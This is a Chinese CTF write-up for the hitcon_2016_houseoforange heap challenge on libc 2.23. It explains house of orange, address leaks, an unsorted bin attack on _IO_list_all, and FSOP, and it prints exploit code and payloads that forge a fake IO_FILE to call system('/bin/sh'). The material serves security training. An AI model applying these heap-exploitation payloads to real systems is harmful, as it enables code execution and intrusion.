参考 https://www.cnblogs.com/ZIKH26/articles/16712469.html
例题:hitcon_2016_houseoforange
main函数:
没有free堆块的函数
add函数:
由两个malloc和一个calloc组成,第一个malloc和calloc的chunk大小均为0x20,第二个malloc的chunk大小可根据用户输入指定大小
edit函数:
在更改name时,可指定length,存在堆溢出。
show函数:
调用printf进行输出,需要注意"\x00"截断问题。
思路 libc2.23
由于题目不存在free函数,因此需要借助 house of orange
来产生unsorted bin的堆块,
利用 show函数 打印unsorted bin堆块的内容,获取libc和堆地址
修改chunk的bk指针为_IO_list_all-0x10,利用 unsorted bin attack 将 main_arena+88 写入 _IO_list_all ,
伪造_IO_list_all中的内容,修改vtable->_IO_file_overflow为system函数,根据下面函数调用链调用函数
__libc_malloc->malloc_printerr->libc_message->abort->_IO_flush_all_lockp
leak 地址
houseoforange 释放top chunk 进入 unsortedbin
add(0x10,b"a")
edit(0x40,b"b"*0x18+p64(0x21)+p64(0)+p64(0)+p64(0)+p64(0xfa1))
add(0x1000,b"c"*8)
首先malloc堆块,然后利用堆溢出修改top chunk的size字段,最后malloc一个比top chunk size大的堆块,即可将top chunk 释放到unsorted bin中
add(0x400,b"d"*0x8)# 防止printf遇到 "\x00" 停止打印
show()
leak_libc = get_addr_64()
lg("leak_libc",leak_libc)
# db()
libc_base = leak_libc - 0x3c5188
lg("libc_base",libc_base)
io_list_all=libc_base+libc.symbols['_IO_list_all']
sys_addr=libc_base+libc.symbols['system']
edit(0x20,'e'*0x10)# 将fd bk指针覆盖,防止printf遇到 "\x00" 停止打印
show()
leak_heap = u64(rcu(b"\x0a")[-7:-1].ljust(8,b"\x00"))
# .recvuntil('e'*0x10)
# leak_heap=u64(p.recv(6).ljust(8,b'\x00'))
lg("leak_heap",leak_heap)
add(0x400,b"d"*0x8)
这行代码很重要,
分配堆块时程序遍历unsorted bin,未找到符合要求的chunk,会将 old top chunk 放入largebin中,此时该chunk中存在fd bk fd_nextsize bk_nextsize指针,然后程序遍历largebin,切割 0x410 大小的chunk 作为分配堆块,该chunk中残留 fd bk fd_nextsize bk_nextsize,可泄露地址。
同时由于64位地址前两个字节为0,printf输出会截断,因此第一次覆盖fd,只能打印 bk,获取libc地址
第二次需要将fd和bk均覆盖,才能打印 fd_nextsize,获取堆地址
unsorted bin attack
利用堆溢出修改 top chunk 的内容,修改bk指针为_IO_list_all-0x10
payload=b'f'*0x400
payload+=p64(0)+p64(0x21)
payload+=p64(0)+p64(0) # 填充 old topchunk 前的内容
payload+=b'/bin/sh\x00'+p64(0x61) #old top chunk prev_size & size 同时也是fake file的_flags字段
payload+=p64(0)+p64(io_list_all-0x10) #old top chunk fd & bk
FSOP
链表头_IO_list_all指向main_arena+88,查看此时_IO_list_all结构体的内容
查看 _chain
字段的地址,是smallbin中size为0x60
的数组的位置,该字段链接IO_FILE结构体
如果有smallbin中大小为0x60的堆块,那么修改该堆块的内容即可伪造IO_FILE结构体(第二个IO_FILE)
让smallbin中出现一个0x60的堆块的方法是提前用edit函数来篡改位于unsorted bin中堆块的size,然后再次调用malloc函数的时候会去遍历各个bins,遍历unsorted bin的时候会将该bins的堆块进行分类(放入small bin或者large bin中)
因此篡改size为0x60,所以该堆块便会进入small bin中size为0x60的链表中。再次分配出来时,即可控制第二个IO_FILE结构体
成功将 _chain字段修改为smallbin 0x60的堆块地址,即我们可以控制第二个_IO_FILE结构体的内容
接下来进行FSOP伪造_IO_FILE,
规则:mode=0,_IO_write_ptr=1,_IO_write_base=0,绕过if判断
同时还要将_flags字段写入/bin/sh,因为_IO_OVERFLOW第一个参数是 _IO_FILE指针
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
还需要修改vtable中_IO_OVERFLOW指针为system函数地址
payload=b'f'*0x400
payload+=p64(0)+p64(0x21)
payload+=p64(0)+p64(0)
payload+=b'/bin/sh\x00'+p64(0x61) #old top chunk prev_size & size 同时也是fake file的_flags字段
payload+=p64(0)+p64(io_list_all-0x10) #old top chunk fd & bk
payload+=p64(0)+p64(1)#_IO_write_base & _IO_write_ptr
payload+=p64(0)*7
payload+=p64(leak_heap+0x430)#chain
payload+=p64(0)*13
payload+=p64(leak_heap+0x508)#vtable
payload+=p64(0)+p64(0)+p64(sys_addr)#DUMMY finish overflow
FSOP的成功率只有1/2?
由于触发了_IO_flush_all_lockp函数,会根据_IO_list_all和chain字段来去依次遍历链表上的每个结构体,在我们整体布局完成后,第一个结构体就是从main_arena+88开始。而第一个结构体的mode字段是main_arena+88+0xc0处的数据决定的。mode字段是四字节
而上面这个地址由于libc地址随机化
导致这个值的补码可能是正也可能是负,也就是说这四个字节可能是0到0xffffffff之间的任意值,但是如果大于0x7fffffff的话该值就为负,小于则为正。这个0xffffffff/2的值
正好就是最大的正值为0x7fffffff 所以刚好_mode字段为负的概率是1/2那为啥非要这个mode字段为负才行呢?
因为倘若mode为正,则上面if检查的这部分fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
fp->_wide_data->_IO_write_base 就会成立。这样就会触发_IO_OVERFLOW函数(可此时在遍历第一个IO_FILE结构体),但是我们的布局是在第二个IO_FILE结构体上,我们需要的是遍历到第二个IO_FILE结构体的时候触发
IO_OVERFLOW函数。如果遍历第一个结构体时触发了_IO_OVERFLOW函数,程序则会崩溃,因为我们无法控制vtable表项
。
攻击
由于FSOP的成功率只有1/2,多次尝试即可